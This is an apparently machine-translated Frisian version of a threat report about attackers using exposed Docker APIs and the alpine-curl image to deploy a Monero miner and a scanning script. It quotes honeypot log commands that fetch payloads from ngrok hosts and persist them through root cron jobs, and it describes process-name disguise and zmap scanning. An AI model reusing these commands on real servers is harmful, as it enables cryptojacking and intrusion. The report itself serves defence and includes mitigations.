Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden

Wy analysearren de sammele gegevens mei honeypot-containers, dy't wy makke hawwe om bedrigingen te folgjen. En wy ûntdutsen wichtige aktiviteit fan net-winske of net autorisearre mynwurkers fan cryptocurrency ynset as rogue-konteners mei in troch de mienskip publisearre ôfbylding op Docker Hub. De ôfbylding wurdt brûkt as ûnderdiel fan in tsjinst dy't kweade cryptocurrency-miners leveret.

Derneist binne programma's foar wurkjen mei netwurken ynstalleare om iepen oanbuorjende konteners en applikaasjes te penetrearjen.

Wy litte ús honeypots sa't it is, dat is, mei standertynstellingen, sûnder feiligensmaatregels of folgjende ynstallaasje fan ekstra software. Tink derom dat Docker oanbefellings hat foar inisjele opset om flaters en ienfâldige kwetsberens te foarkommen. Mar de brûkte honeypots binne konteners, ûntworpen om oanfallen te detektearjen dy't rjochte binne op it containerisaasjeplatfoarm, net de applikaasjes yn 'e konteners.

De ûntdutsen kweade aktiviteit is ek opmerklik om't it gjin kwetsberens fereasket en ek ûnôfhinklik is fan 'e Docker-ferzje. It finen fan in ferkeard ynsteld, en dus iepen, kontenerôfbylding is alles dat oanfallers nedich binne om in protte iepen servers te ynfektearjen.

De net-sletten Docker API lit de brûker in breed oanbod fan útfiere teams.

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
Links is de metoade foar levering fan malware. Oan 'e rjochterkant is de omjouwing fan' e oanfaller, wêrtroch ôfbyldings op ôfstân kinne útrolje.

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
Ferdieling per lân fan 3762 iepen Docker API's. Basearre op Shodan-sykjen fan 12.02.2019/XNUMX/XNUMX

Opsjes foar oanfalsketting en lading

Malicious aktiviteit waard ûntdutsen net allinnich mei help fan honeypots. Gegevens fan Shodan litte sjen dat it oantal bleatstelde Docker API's (sjoch twadde grafyk) is tanommen sûnt wy ûndersochten in ferkeard konfigureare kontener brûkt as brêge om Monero-software foar cryptocurrency-mynbou yn te setten. Yn oktober ferline jier (2018, aktuele gegevens do kinst der sa útsjen ca. oersetter) wiene d'r mar 856 iepen API's.

In ûndersyk fan de honeypot logs die bliken dat container image gebrûk wie ek ferbûn mei it brûken fan ngrok, in ark foar it oprjochtsjen fan feilige ferbiningen of it trochstjoeren fan ferkear fan iepenbier tagonklike punten nei oantsjutte adressen of boarnen (bygelyks localhost). Hjirmei kinne oanfallers dynamysk URL's oanmeitsje by it leverjen fan payload nei in iepen server. Hjirûnder binne koadefoarbylden út 'e logs dy't misbrûk fan' e ngrok-tsjinst sjen litte:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Sa't jo sjen kinne, wurde de opladen bestannen downloade fan konstant feroarjende URL's. Dizze URL's hawwe in koarte ferfaldatum, dus payloads kinne net downloade wurde nei de ferfaldatum.

D'r binne twa opsjes foar lading. De earste is in kompilearre ELF-miner foar Linux (definieare as Coinminer.SH.MALXMR.ATNO) dy't oanslút op it miningpool. It twadde is in skript (TrojanSpy.SH.ZNETMAP.A) ûntworpen om bepaalde netwurk-ark te krijen dy't brûkt wurde om netwurkberiken te scannen en dan nei nije doelen te sykjen.

It dropper-skript stelt twa fariabelen yn, dy't dan wurde brûkt om de cryptocurrency-miner yn te setten. De HOST-fariabele befettet de URL wêr't de kweade bestannen lizze, en de RIP-fariabele is de triemnamme (feitlik de hash) fan 'e miner dy't ynset wurde moat. De HOST-fariabele feroaret elke kear as de hash-fariabele feroaret. It skript besiket ek te kontrolearjen dat gjin oare cryptocurrency-miners op 'e oanfalle tsjinner rinne.

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
Foarbylden fan HOST- en RIP-fariabelen, lykas ek in koadefragment brûkt om te kontrolearjen dat gjin oare miners rinne

Foardat de miner begjint, wurdt it omneamd ta nginx. Oare ferzjes fan dit skript omneame de miner nei oare legitime tsjinsten dy't oanwêzich wêze kinne yn Linux-omjouwings. Dit is normaal genôch om kontrôles tsjin de list mei rinnende prosessen te omgean.

It sykskript hat ek funksjes. It wurket mei deselde URL-tsjinst om de nedige ark yn te setten. Under harren is de zmap-binêre, dy't brûkt wurdt om netwurken te scannen en in list mei iepen havens te krijen. It skript laadt ek in oare binêre dy't wurdt brûkt om te ynteraksje mei de fûn tsjinsten en ûntfange banners fan harren te bepalen oanfoljende ynformaasje oer de fûn tsjinst (bygelyks, syn ferzje).

It skript ek foarbepaalt guon netwurk berik te skennen, mar dit hinget ôf fan de ferzje fan it skript. It stelt ek de doelpoarten fan 'e tsjinsten yn - yn dit gefal Docker - foardat de scan útfiert.

Sa gau mooglik doelen wurde fûn, banners wurde automatysk fuortsmiten fan harren. It skript filteret ek doelen ôfhinklik fan 'e tsjinsten, applikaasjes, komponinten of platfoarms fan belang: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16-kliïnt en Apache CouchDB. As de skande server oerienkomt mei ien fan harren, wurdt it bewarre yn in tekstbestân, dy't oanfallers letter brûke kinne foar folgjende analyze en hacking. Dizze tekstbestannen wurde opladen nei de servers fan 'e oanfallers fia dynamyske keppelings. Dat is, in aparte URL wurdt brûkt foar elke triem, wat betsjut dat de folgjende tagong dreech is.

De oanfalvektor is in Docker-ôfbylding, lykas kin wurde sjoen yn 'e folgjende twa stikken koade.

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
Oan 'e boppekant is omneaming nei in legitime tsjinst, en oan' e ûnderkant is hoe't zmap wurdt brûkt om netwurken te scannen

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
Oan 'e boppekant binne foarôf definieare netwurkbereiken, oan' e ûnderkant binne spesifike havens foar it sykjen nei tsjinsten, ynklusyf Docker

Hoe't de net-proprietêre Docker API en iepenbiere ôfbyldings fan 'e mienskip wurde brûkt om cryptocurrency-miners te fersprieden
It skermôfbylding lit sjen dat it alpine-krullenôfbylding mear dan 10 miljoen kear is ynladen

Op grûn fan Alpine Linux en curl, in boarne-effisjint CLI-ark foar it oerdragen fan bestannen oer ferskate protokollen, kinne jo bouwe Docker ôfbylding. Lykas jo kinne sjen yn 'e foarige ôfbylding, is dizze ôfbylding al mear as 10 miljoen kear ynladen. In grut oantal downloads kin betsjutte dat dizze ôfbylding brûkt wurdt as yngongspunt; dizze ôfbylding is mear dan seis moanne lyn bywurke; brûkers hawwe net sa faak oare ôfbyldings fan dizze repository downloade. In Docker punt fan yngong - in set ynstruksjes brûkt om in kontener te konfigurearjen om it út te fieren. As de yngongspunt ynstellings net goed binne (bygelyks de kontener wurdt iepen litten fan it ynternet), kin de ôfbylding brûkt wurde as in oanfalsvektor. Oanfallers kinne it brûke om in lading te leverjen as se in ferkeard ynstelde of iepen kontener fine dy't net stipe wurde.

It is wichtich om te notearjen dat dit byld (alpine-curl) sels net kwea is, mar sa't jo hjirboppe sjen kinne, kin it brûkt wurde om kweade funksjes út te fieren. Fergelykbere Docker-ôfbyldings kinne ek brûkt wurde om kweade aktiviteiten út te fieren. Wy kontakten Docker en wurken mei har oan dit probleem.

oanbefellings

Ferkearde ynstelling oerbliuwsel konstant probleem foar in protte bedriuwen, benammen dy útfiering DevOps, rjochte op rappe ûntwikkeling en levering. Alles wurdt fergrutte troch de needsaak om te foldwaan oan kontrôle- en kontrôleregels, de needsaak om gegevensfertroulikens te kontrolearjen, lykas de enoarme skea fan har net-neilibjen. It opnimmen fan befeiligingsautomatisearring yn 'e libbenssyklus fan ûntwikkeling helpt jo net allinich befeiligingsgaten te finen dy't oars net ûntdutsen wurde kinne, mar it helpt jo ek ûnnedige wurkdruk te ferminderjen, lykas it útfieren fan ekstra softwarebou foar elke ûntdutsen kwetsberens of miskonfiguraasje neidat in applikaasje is ynset.

It ynsidint besprutsen yn dit artikel markearret de needsaak om feiligens fanôf it begjin yn rekken te hâlden, ynklusyf de folgjende oanbefellings:

  • Foar systeembehearders en ûntwikkelders: Kontrolearje altyd jo API-ynstellingen om te soargjen dat alles ynsteld is om allinich fersiken te akseptearjen fan in spesifike server of ynterne netwurk.
  • Folgje it prinsipe fan minste rjochten: soargje derfoar dat kontenerôfbyldings wurde tekene en ferifiearre, beheine tagong ta krityske komponinten (kontainerstarttsjinst) en foegje fersifering ta oan netwurkferbiningen.
  • Folgje oanbefellings en ynskeakelje feiligens meganismen, f.eks. fan Docker en ynboude feiligens funksjes.
  • Brûk automatisearre skennen fan runtimes en ôfbyldings om ekstra ynformaasje te krijen oer de prosessen dy't rinne yn 'e kontener (bygelyks om spoofing te detektearjen of te sykjen nei kwetsberens). Applikaasjekontrôle en yntegriteitsmonitoring helpe abnormale feroaringen te folgjen oan servers, bestannen en systeemgebieten.

Trendmicro helpt DevOps-teams feilich te bouwen, fluch út te rollen en oeral te starten. Trend Micro Hybride Cloud Feiligens Biedt krêftige, streamlined en automatisearre befeiliging oer de DevOps-pipeline fan in organisaasje en leveret meardere bedrigingsferdigeningen XGen te beskermjen fysike, firtuele en wolk workloads by runtime. It foeget ek container feiligens mei Deep Security и Deep Security Smart Check, dy't Docker-containerôfbyldings scannen foar malware en kwetsberens op elk punt yn 'e ûntwikkelingpipeline om bedrigingen te foarkommen foardat se ynset wurde.

Tekenen fan kompromis

Related hashes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

op Docker fideokursus Praktyske sprekkers litte sjen hokker ynstellingen earst makke wurde moatte om de kâns te minimalisearjen of it foarkommen fan 'e hjirboppe beskreaune situaasje folslein te foarkommen. En op 19-21 augustus op in online yntinsive DevOps-ark en cheats Dizze en ferlykbere feiligensproblemen kinne jo mei kollega's en praktisearjende learkrêften beprate oan in rûne tafel, wêr't elkenien útprate kin en harkje nei de pine en suksessen fan betûfte kollega's.

Boarne: www.habr.com

Add a comment